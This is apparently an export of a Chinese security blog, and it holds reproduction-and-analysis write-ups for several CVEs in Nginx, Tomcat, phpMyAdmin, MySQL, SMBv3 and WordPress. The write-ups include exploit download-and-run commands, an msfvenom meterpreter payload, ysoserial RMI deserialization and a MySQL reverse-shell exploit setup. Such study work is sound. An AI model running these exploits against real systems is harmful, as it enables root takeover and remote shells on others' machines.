<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>Nginx是一个高性能的HTTP和反向代理服务器，也是一个 IMAP&#x2F;POP3&#x2F;SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日，nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器&#x2F;反向代理服务器及电子邮件（IMAP&#x2F;POP3）代理服务器，并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发，其特点是占有内存少，并发能力强。</p>
<h1 id="漏洞简述"><a href="#漏洞简述" class="headerlink" title="漏洞简述"></a>漏洞简述</h1><p>Debian、Ubuntu发行版的Nginx在新建日志目录的时，使用了不安全的权限，因此本地恶意攻击者可以从nginx&#x2F;web用户权限(www-data)提升到ROOT。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><p>查看用户ID<br><img data-src="https://i.loli.net/2018/05/27/5b0a99a92f715.png" alt="id.png"><br>查看Nginx版本<code>dpkg -l | grep -i nginx</code><br><img data-src="https://i.loli.net/2018/05/27/5b0a99c78ea14.png" alt="nginx version.png"><br>下载poc脚本</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">wget https:<span class="regexp">//</span>legalhackers.com<span class="regexp">/exploits/</span>CVE-<span class="number">2016</span>-<span class="number">1247</span>/nginxed-root.sh</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/05/27/5b0a9b092c3ec.png" alt="wget.png"><br>修改poc权限,并执行poc</p>
<figure class="highlight stata"><table><tr><td class="code"><pre><span class="line">chmod 777 nginxed-root.<span class="keyword">sh</span></span><br><span class="line">./nginxed-root.<span class="keyword">sh</span> /<span class="keyword">var</span>/<span class="keyword">log</span>/nginx/<span class="keyword">error</span>.<span class="keyword">log</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/02/01/5a72bfed2d1c2.png" alt="run.png"><br>查看现在用户ID<br><img data-src="https://i.loli.net/2018/05/27/5b0a9bb689f58.png" alt="final id.png"></p>
<h2 id="POC分析"><a href="#POC分析" class="headerlink" title="POC分析"></a>POC分析</h2><p>查看Nginx日志目录权限，发现为www-data，因此该漏洞需要使用www-data用户进行<br><img data-src="https://i.loli.net/2018/02/01/5a72c0782bbd3.png" alt="www-data.png"><br>查看Nginx日志目录下的文件权限，发现为root权限，通过符号链接将替换日志文件实现提权目的<br><img data-src="https://i.loli.net/2018/02/01/5a72c08966ad5.png" alt="root.png"><br>根据POC进行利用分析，在145行使用dlsym获取euid<br>在147、148行修改&#x2F;tmp&#x2F;nginxrootsh文件的所有者和权限<br>在149行删除&#x2F;etc&#x2F;ld.so.preload文件<br><img data-src="https://i.loli.net/2018/02/01/5a72c0a10d21f.png" alt="code.png"><br>在154行编译生成的c文件，在其后判断是否编译成功<br><img data-src="https://i.loli.net/2018/02/01/5a72c0b003134.png" alt="make.png"><br>在162行将&#x2F;bin&#x2F;bash拷贝到&#x2F;tmp&#x2F;nginxrootsh<br><img data-src="https://i.loli.net/2018/02/01/5a72c0c48ba68.png" alt="copy.png"><br>在172行删除nginx的错误日志文件并进行符号链接，将&#x2F;etc&#x2F;ld.so.preload（目标）软链接到nginx的错误日志（这步骤实现了提权）<br><img data-src="https://i.loli.net/2018/02/01/5a72c0d7d17c2.png" alt="delete.png"><br>在187行将&#x2F;etc&#x2F;ld.so.preload内容覆盖为&#x2F;tmp&#x2F;privesclib.so（加载&#x2F;tmp&#x2F;privesclib.so共享库）<br><img data-src="https://i.loli.net/2018/02/01/5a72c0f12d27a.png" alt="copy.png"><br>在199行将&#x2F;etc&#x2F;ld.so.preload权限设置为755<br><img data-src="https://i.loli.net/2018/02/01/5a72c0ff840bc.png" alt="chmod.png"></p>
<h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>root用户执行logrotate -f &#x2F;etc&#x2F;logrotate.d&#x2F;nginx，未获取到root权限情况下重启nginx服务并删除相关文件。<br><img data-src="https://i.loli.net/2018/05/27/5b0a9c0b508d9.png" alt="root command.png"></p>
<h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><p>升级Nginx版本。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>CVE-2016-1240分析</title>
    <url>/archives/29004be5.html</url>
    <content><![CDATA[<p>针对Apache Tomcat 8&#x2F;7&#x2F;6 (Debian-Based Distros) - Privilege Escalation进行漏洞复现并分析。<br><a href="https://i.loli.net/2018/05/27/5b0ab46ce5759.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab46ce5759.png" alt="success.png"></a></p>
<span id="more"></span>
<h1 id="漏洞简述"><a href="#漏洞简述" class="headerlink" title="漏洞简述"></a>漏洞简述</h1><p>Debian系统的Linux上，使用apt-get安装Tomcat时,deb包安装的Tomcat程序会自动为管理员安装一个启动脚本：&#x2F;etc&#x2F;init.d&#x2F;tomcat* 利用该脚本，可导致攻击者通过低权限的Tomcat用户获得系统root权限。只需要将Tomcat的日志文件catalina.out软链接到系统文件，重新打开catalina.out就可获取root权限。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><p>获取<span class="exturl" data-url="aHR0cDovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9Ub21jYXQtRGViUGtncy1Sb290LVByaXZpbGVnZS1Fc2NhbGF0aW9uLUV4cGxvaXQtQ1ZFLTIwMTYtMTI0MC5odG1s">POC脚本<i class="fa fa-external-link-alt"></i></span>，运行POC脚本。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">.<span class="regexp">/tomcat-rootprivesc-deb.sh /</span>var<span class="regexp">/log/</span>tomcat7/catalina.out</span><br></pre></td></tr></table></figure>
<p><a href="https://i.loli.net/2018/05/27/5b0ab574c2c89.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab574c2c89.png" alt="run poc.png"></a><br>运行之后&#x2F;var&#x2F;log&#x2F;catalina.out的链接已经指向&#x2F;etc&#x2F;ld.so.preload。<br><a href="https://i.loli.net/2018/05/27/5b0ab59f1aec0.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab59f1aec0.png" alt="run end.png"></a><br>重启Tomcat服务。</p>
<figure class="highlight maxima"><table><tr><td class="code"><pre><span class="line">serverce tomcat7 <span class="built_in">restart</span></span><br></pre></td></tr></table></figure>
<h2 id="POC分析"><a href="#POC分析" class="headerlink" title="POC分析"></a>POC分析</h2><p>POC脚本85行判断用户是否为tomcat用户。<br><a href="https://i.loli.net/2018/05/27/5b0ab64865e90.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab64865e90.png" alt="1.png"></a><br>93行判断指定的tomcat日志文件是否存在。<br><a href="https://i.loli.net/2018/05/27/5b0ab656db9dd.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab656db9dd.png" alt="2.png"></a><br>158行删除日志文件并软链接到&#x2F;etc&#x2F;ld.so.preload。<br><a href="https://i.loli.net/2018/05/27/5b0ab656de8a8.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab656de8a8.png" alt="3.png"></a><br>168行判断&#x2F;etc&#x2F;ld.so.preload文件是否存在。<br><a href="https://i.loli.net/2018/05/27/5b0ab656dff2c.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab656dff2c.png" alt="4.png"></a><br>188行通过判断&#x2F;tmp&#x2F;tomcatrootsh文件是否具有rws 权限 root 匹配到返回0。<br><a href="https://i.loli.net/2018/05/27/5b0ab656e13df.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab656e13df.png" alt="5.png"></a><br>199行删除&#x2F;etc&#x2F;ld.so.preload和&#x2F;tmp&#x2F;privesclib.so。<br><a href="https://i.loli.net/2018/05/27/5b0ab656e2b76.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab656e2b76.png" alt="6.png"></a><br>跟踪$BACKDOORPATH变量，在148行$BACKDOORPATH是从$BACKDOORSH复制而来，根据开头变量的定义发现$BACKDOORSH为&#x2F;bin&#x2F;bash。<br><a href="https://i.loli.net/2018/05/27/5b0ab656dd0f9.png"><img data-src="https://i.loli.net/2018/05/27/5b0ab656dd0f9.png" alt="7.png"></a></p>
<h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><p>升级Tomcat。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>CVE-2016-5734分析</title>
    <url>/archives/94f683da.html</url>
    <content><![CDATA[<p>针对phpMyAdmin 4.6.2 - Authenticated Remote Code Execution进行漏洞复现并分析。<br><img data-src="https://i.loli.net/2018/05/28/5b0bad646bb23.png" alt="html.png"></p>
<span id="more"></span>
<h1 id="漏洞简述"><a href="#漏洞简述" class="headerlink" title="漏洞简述"></a>漏洞简述</h1><p>phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。在4.6.2版本中preg_replace &#x2F;触发的callback导致命令执行。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><p><span class="exturl" data-url="aHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDAxODUv">下载<i class="fa fa-external-link-alt"></i></span>POC并执行即可。<br><img data-src="https://i.loli.net/2018/05/28/5b0bac6432b3e.png" alt="success.png"></p>
<h2 id="漏洞分析-1"><a href="#漏洞分析-1" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>这个漏洞出现在TableSearchController.php中的getRegexReplaceRows函数。<br>跟进&#x2F;libraries&#x2F;controllers&#x2F;table&#x2F;TableSearchController.php，第708行定义getRegexReplaceRows函数，在第731行处$find存在任意一个范围符号的时候,在$find前面加上&#x2F;。<br><img data-src="https://i.loli.net/2018/05/28/5b0baf42577df.png" alt="1.png"><br>在661行getReplacePreview函数调用了getRegexReplaceRows。<br><img data-src="https://i.loli.net/2018/05/28/5b0baf426791f.png" alt="2.png"><br>在613行findAction函数调用了getReplacePreview。<br><img data-src="https://i.loli.net/2018/05/28/5b0baf4266236.png" alt="3.png"><br>在175行indexAction函数调用了findAction，当searchType为replace调用findAction。<br><img data-src="https://i.loli.net/2018/05/28/5b0baf4264c4b.png" alt="4.png"><br>在&#x2F;tbl_find_replace.php第33行调用indexAction。<br><img data-src="https://i.loli.net/2018/05/28/5b0baf42622fe.png" alt="5.png"><br>根据以上可得知，调用getRegexReplaceRows函数的流程为：</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">/tbl_find_replace.ph →</span><br><span class="line"><span class="regexp">/libraries/</span>controllers<span class="regexp">/table/</span>TableSearchController.php indexAction() →</span><br><span class="line"><span class="regexp">/libraries/</span>controllers<span class="regexp">/table/</span>TableSearchController.php findAction() →</span><br><span class="line"><span class="regexp">/libraries/</span>controllers<span class="regexp">/table/</span>TableSearchController.php getReplacePreview() →</span><br><span class="line"><span class="regexp">/libraries/</span>controllers<span class="regexp">/table/</span>TableSearchController.php _getRegexReplaceRows()</span><br></pre></td></tr></table></figure>
<p>当row[0]成功匹配$find即可执行命令，在716，717行存在db、table两个成员。<br><img data-src="https://i.loli.net/2018/05/28/5b0baf426366e.png" alt="6.png"><br>在&#x2F;libraries&#x2F;controllers&#x2F;TableController.php第20、25行分别定义了$db、$table。<br><img data-src="https://i.loli.net/2018/05/28/5b0baf4260f61.png" alt="7.png"><br>回溯Controller类，跟进&#x2F;libraries&#x2F;di&#x2F;Container.php，在51行定义get函数。<br><img data-src="https://i.loli.net/2018/05/28/5b0baf425f9e6.png" alt="8.png"><br>当$find构造为0&#x2F;e0，preg_replace将$find变成&#x2F;0&#x2F;e0&#x2F;，在php5.5以下发生截断，变成preg_replace(&#x2F;0&#x2F;e, command,0&#x2F;e)。由此代码执行产生。</p>
<h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><p>升级phpMyAdmin。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>CVE-2016-6662分析</title>
    <url>/archives/438a17c4.html</url>
    <content><![CDATA[<p>针对MySQL Code Execution  Privilege Escalation进行漏洞复现并分析。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf1a7cd28e.png" alt="success.png"></p>
<span id="more"></span>
<h1 id="漏洞简述"><a href="#漏洞简述" class="headerlink" title="漏洞简述"></a>漏洞简述</h1><p>在MySQL &#x2F; MariaDB &#x2F; PerconaDB 5.5.52 &#x2F; 5.6.33 &#x2F; 5.7.15等版本中，默认安装MySQL使用自带mysqld_safe脚本启动mysql服务进程，在启动mysql server之前预加载共享库文件，共享库文件可被添加至my.cnf。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><p>下载<span class="exturl" data-url="aHR0cDovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9NeVNRTC1FeHBsb2l0LVJlbW90ZS1Sb290LUNvZGUtRXhlY3V0aW9uLVByaXZlc2MtQ1ZFLTIwMTYtNjY2Mi5odG1s">cve-2016-6662_MySQL_RCE_exploit.py和mysql_hookandroot_lib.c<i class="fa fa-external-link-alt"></i></span>，并放同一目录下（.so文件运行py时会自动生成）。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf3652a5b4.png" alt="download.png"><br>修改mysql_hookandroot_lib.c第63行（攻击服务器IP）、64行（监听端口）、65行（my.cnf路径）。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf382985e0.png" alt="1.png"><br>运行py脚本。</p>
<figure class="highlight vim"><table><tr><td class="code"><pre><span class="line"><span class="keyword">python</span> cve-<span class="number">2016</span>-<span class="number">6662</span>_MySQL_RCE_exploit.<span class="keyword">py</span> -dbuser root -dbpass <span class="string">&#x27;&#x27;</span> -dbname pocdb -dbhost <span class="number">127.0</span>.<span class="number">0.1</span> -mycnf /etc/mysql/my.<span class="keyword">cnf</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/05/28/5b0bf3cae23f8.png" alt="2.png"><br>这时候，查看&#x2F;etc&#x2F;mysql&#x2F;my.cnf文件，发现共享库已经成功添加。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf3e481807.png" alt="3.png"><br>重启mysql服务，成功反弹shell。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf3e481807.png" alt="3.png"></p>
<h2 id="原理分析"><a href="#原理分析" class="headerlink" title="原理分析"></a>原理分析</h2><p>默认安装MySQL会自带mysql_safe脚本，启动MySQL之前加载共享库，共享库可以添加至my.cnf。<br>跟进&#x2F;usr&#x2F;bin&#x2F;mysqld_safe，在第331行看到–malloc-lib&#x3D;LIB 选项可以加载一个so文件。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf6414a9a3.png" alt="safe mysql.png"><br>在424行，可以看到mysqld_safe从mysql的data目录下载入配置文件my.cnf。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf65a91e1e.png" alt="my.cnf.png"><br>使用ps aux | grep mysql，查看MySQL的进程信息，发现mysqld_safe是root权限执行的，mysqld是mysql用户执行的。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf69061dbd.png" alt="ps aux.png"><br>在my.cnf中写入malloc_lib加载so文件的路径。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf6c216109.png" alt="malloc.png"><br>使用gcc命令将.c（shell）编译成so，并将so放置到&#x2F;var&#x2F;lib&#x2F;mysql&#x2F;目录下。<br><img data-src="https://i.loli.net/2018/05/28/5b0bf6de6ed35.png" alt="gcc.png"><br>配置文件和so文件冲准备就绪，重启MySQL，root运行mysqld_safe，mysqld_safe加载so文件，则触发代码执行。</p>
<h2 id="复现注意事项"><a href="#复现注意事项" class="headerlink" title="复现注意事项"></a>复现注意事项</h2><ol>
<li>&#x2F;etc&#x2F;mysql&#x2F;my.cnf权限设置：<img data-src="https://i.loli.net/2018/05/28/5b0bf47b43ac4.png" alt="1-1.png"><figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">chown mysql:root <span class="regexp">/etc/my</span>sql/my.cnf</span><br><span class="line">chmod <span class="number">600</span> <span class="regexp">/etc/my</span>sql/my.cnf</span><br></pre></td></tr></table></figure></li>
<li>攻击会在攻击database新建一个表，表名为:poctable，如果攻击失败，重新攻击需将poctable删除。<img data-src="https://i.loli.net/2018/05/28/5b0bf580c08c5.png" alt="2-2.png"><figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line">mysql -uroot -p；</span><br><span class="line">use pocdb;（攻击<span class="keyword">database</span>的数据库名字）</span><br><span class="line"><span class="keyword">drop</span> <span class="keyword">table</span> poctable;</span><br></pre></td></tr></table></figure></li>
<li>py脚本会自动运行nc，因此攻击服务器需要安装nc。</li>
<li>如果攻击端口不为3306，可以在cve-2016-6662_MySQL_RCE_exploit.py第74行增加自定义端口代码。增加完成之后，即可使用-dbport自定义端口。在第83行，增加代码将其使用。<img data-src="https://i.loli.net/2018/05/28/5b0bf5dd46899.png" alt="3-3.png"><img data-src="https://i.loli.net/2018/05/28/5b0bf604c841e.png" alt="4-4.png"><figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line">parser.add_argument(<span class="string">&#x27;-dbport&#x27;</span>, <span class="attribute">dest</span>=<span class="string">&#x27;TARGET_PORT&#x27;</span>, <span class="attribute">required</span>=<span class="literal">True</span>, <span class="attribute">help</span>=<span class="string">&#x27;MySQL port&#x27;</span>) # 74行</span><br><span class="line">dbconn = mysql.connector.connect(<span class="attribute">user</span>=args.TARGET_USER, password =args.TARGET_PASS, <span class="attribute">database</span>=args.TARGET_DB, <span class="attribute">host</span>=args.TARGET_HOST, <span class="attribute">port</span>=args.TARGET_PORT) # 83行</span><br></pre></td></tr></table></figure></li>
</ol>
<h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><p>升级MySQL。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>CVE-2016-6663分析</title>
    <url>/archives/e5fd1c70.html</url>
    <content><![CDATA[<p>针对MySQL &#x2F; MariaDB &#x2F; PerconaDB - 提权&#x2F;条件竞争漏洞进行复现并分析。<br><img data-src="https://i.loli.net/2018/05/29/5b0d484a0d66a.png" alt="success.png"></p>
<span id="more"></span>
<h1 id="漏洞简述"><a href="#漏洞简述" class="headerlink" title="漏洞简述"></a>漏洞简述</h1><p>存在条件竞争漏洞，导致本地用户使用低权限帐号提升到数据库系统用户。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><p>查看数据库版本:mysql -V。<br><img data-src="https://i.loli.net/2018/05/29/5b0d489f8ad05.png" alt="version.png"><br>建立低权限数据库用户，并新建库。<br><img data-src="https://i.loli.net/2018/05/29/5b0d48bf99c39.png" alt="user.png"><br><img data-src="https://i.loli.net/2018/05/29/5b0d48bf5c145.png" alt="db.png"><br><span class="exturl" data-url="aHR0cDovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9NeVNRTC1NYXJpYS1QZXJjb25hLVByaXZFc2NSYWNlLUNWRS0yMDE2LTY2NjMtNTYxNi1FeHBsb2l0Lmh0bWw=">下载CVE-2016-6663 POC<i class="fa fa-external-link-alt"></i></span>，并编译。<br><img data-src="https://i.loli.net/2018/05/29/5b0d490686b2d.png" alt="download poc.png"><br>查看当前用户id.<br><img data-src="https://i.loli.net/2018/05/29/5b0d491b8fad2.png" alt="user id.png"><br>运行CVE-2016-6663 POC。<br><img data-src="https://i.loli.net/2018/05/29/5b0d493ed9890.png" alt="run poc.png"><br>下载CVE-2016-6664 POC 并更改权限。<br><img data-src="https://i.loli.net/2018/05/29/5b0d495c31081.png" alt="run 2.png"><br>运行CVE-2016-6664 POC。</p>
<h2 id="原理分析"><a href="#原理分析" class="headerlink" title="原理分析"></a>原理分析</h2><p>MySQL数据库可以通过data directory指定存储目录，并将目录权限更改为mysql。<br><img data-src="https://i.loli.net/2018/05/29/5b0d497dafba7.png" alt="data.png"><br><img data-src="https://i.loli.net/2018/05/29/5b0d4996a0680.png" alt="directory.png"></p>
<h2 id="复现注意事项"><a href="#复现注意事项" class="headerlink" title="复现注意事项"></a>复现注意事项</h2><p>缺少mysql.h，安装libmysqlclient-dev。<br><img data-src="https://i.loli.net/2018/05/29/5b0d49c2a0e6a.png" alt="libmysqlclient-dev.png"></p>
<h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><ol>
<li>升级MySQL；</li>
<li>在my.cnf中添加：symbolic-links &#x3D; 0。</li>
</ol>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>CVE-2016-8735分析</title>
    <url>/archives/c77f03de.html</url>
    <content><![CDATA[<p>针对CVE-2016-8735复现并分析。<br><img data-src="https://i.loli.net/2018/05/30/5b0e433658076.png" alt="success.png"></p>
<span id="more"></span>
<h1 id="漏洞简述"><a href="#漏洞简述" class="headerlink" title="漏洞简述"></a>漏洞简述</h1><p>Tomcat启动JmxRemoteLifecycleListener监听器，在&#x2F;conf&#x2F;server.xml中添加<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />Tomcat默认未开启JmxRemoteLifecycleListener监听器。在实际环境中，使用zabbix（是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案）通过JMX监控tomcat即会产生该漏洞环境。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">java</span> -cp ysoserial-<span class="number">0</span>.<span class="number">0</span>.<span class="number">5</span>-SNAPSHOT-<span class="literal">all</span>.jar ysoserial.exploit.RMIRegistryExploit localhost <span class="number">10001</span> Groovy1 calc.exe</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/05/30/5b0e43a478dc9.png" alt="command.png"></p>
<h2 id="POC分析"><a href="#POC分析" class="headerlink" title="POC分析"></a>POC分析</h2><p>根据攻击命令发现攻击函数为RMIRegistryExploit在ysoserial-0.0.5-SNAPSHOT-all.jar包中的ysoserial.exploit中。通过解压缩软件将RMIRegistryExploit从ysoserial-0.0.5-SNAPSHOT-all.jar解压出来。由于解压出来为class，对其进行反编译。<br><img data-src="https://i.loli.net/2018/05/30/5b0e440d9b0d7.png" alt="1.png"><br>第13行定义了RMIRegistryExploit类，第20行需传递一个数组，21行抛出Exception异常类型。<br><img data-src="https://i.loli.net/2018/05/30/5b0e442579ebc.png" alt="2.png"><br>第23行-25行定义了host为数组的第一位数值，port（int）为数组的第二位数值（通过Integer.parseInt将整形对象转换成int型），command为数组的第三位数值。<br><img data-src="https://i.loli.net/2018/05/30/5b0e443c27aed.png" alt="3.png"><br>在26行使用java.rmi.registry.LocateRegistry中的LocateRegistry.getRegistry方法来返回对Registry对象的引用。<img data-src="https://i.loli.net/2018/05/30/5b0e444fa93f7.png" alt="4.png"><br>在27行定义一个string 名字为className，通过StringBuilder创建一个新实例（结合后面代码中的append可发现用于快速进行字符相加），并获取CommonsCollections1的包的名字，最后把待执行的命令加上包的名字整体作为string赋值给className。28行获得该类(className)并初始化该类。<br><img data-src="https://i.loli.net/2018/05/30/5b0e4466de818.png" alt="5.png"><br>第29行执行exploit.warp，传递三个参数；第35行使用ExecCheckingSecurityManager的wrap并传一个对象，该对象包含三个参数（payloadClass、command、registry），跟踪ExecCheckingSecurityManager（ysoserial.secmgr.ExecCheckingSecurityManager）查看warp的作用（用于并发）。<br><img data-src="https://i.loli.net/2018/05/30/5b0e447fd6e8d.png" alt="6.png"><br>倒回去看RMIRegistryExploit.java，className来源于CommonsCollections1，跟踪CommonsCollections1类（ysoserial.payloads. CommonsCollections1），该类继承了PayloadRunner。<br><img data-src="https://i.loli.net/2018/05/30/5b0e449736dab.png" alt="7.png"><br>跟踪PayloadRunner（ysoserial.payloads.util. PayloadRunner）的run方法，在第22行发现该方法将传进来的args、clazz并发设为新对象并转换成byte。<br><img data-src="https://i.loli.net/2018/05/30/5b0e44ad5b96b.png" alt="8.png"><br>第29行使用Deserializer.deserialize将serialized反序列化赋值为对象obj。<br><img data-src="https://i.loli.net/2018/05/30/5b0e44ceb5e6d.png" alt="9.png"><br>倒回去看CommonsCollections1，第41行到53行，用Transformer创建了transformers数组，数组中按顺序包含了ConstantTransformer、InvokerTransformer、InvokerTransformer、InvokerTransformer、ConstantTransformer对象。<br><img data-src="https://i.loli.net/2018/05/30/5b0e44ecea5c2.png" alt="10.png"><br>ConstantTransformer获取其构造函数中传入的类；InvokerTransformer执行其构造函数中传入的方法。<br>跟踪transformers，第58行使用Reflections.setFieldValue();方法：利用反射机制，将transformerChain对象的iTransformers属性赋值为transformers。<br><img data-src="https://i.loli.net/2018/05/30/5b0e450509c5f.png" alt="11.png"></p>
<h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><ol>
<li>升级Tomcat</li>
<li>改变JMX密码认证</li>
</ol>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>CVE-2020-0796复现</title>
    <url>/archives/852991fb.html</url>
    <content><![CDATA[<p>看到GitHub上面有对应的exp，就复现看看。</p>
<p><img data-src="https://s2.loli.net/2023/04/05/RFg1XrTl2G37EjK.png" alt="image-20200608145057355"></p>
<span id="more"></span>

<h1 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h1><p>靶机地址</p>
<figure class="highlight gherkin"><table><tr><td class="code"><pre><span class="line">ed2k://|<span class="string">file</span>|<span class="string">cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso</span>|<span class="string">5231140864</span>|<span class="string">B1D5C4C401036B0B1EBA64476A95F338</span>|<span class="string">/</span></span><br></pre></td></tr></table></figure>

<p>使用msf生成对应payload</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b <span class="string">&#x27;\x00&#x27;</span> -i 1 -f python</span><br></pre></td></tr></table></figure>

<p>使用python3运行脚本即可。</p>
<p><img data-src="https://s2.loli.net/2023/04/05/RFg1XrTl2G37EjK.png" alt="image-20200608145057355"></p>
<p>msf配置</p>
<p><img data-src="https://s2.loli.net/2023/04/05/nLHhTSJEQmaY2q7.png"></p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>CVE-2017-5487分析</title>
    <url>/archives/5a5cf5bb.html</url>
    <content><![CDATA[<p>针对Content Injection Vulnerability in WordPress进行复现并分析。<br><img data-src="https://i.loli.net/2018/05/31/5b0f887805634.png" alt="success.png"></p>
<span id="more"></span>
<h1 id="漏洞简述"><a href="#漏洞简述" class="headerlink" title="漏洞简述"></a>漏洞简述</h1><p>由于WordPress4.7.0-4.7.1REST API接口权限判断不合理导致命令注入。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><p><span class="exturl" data-url="aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vbGVvbmp6YS8yMjQ0ZWIxNTUxMGEwNjg3ZWQ5MzE2MGM2MjM3NjJhYg==">下载<i class="fa fa-external-link-alt"></i></span>POC脚本，运行即可。</p>
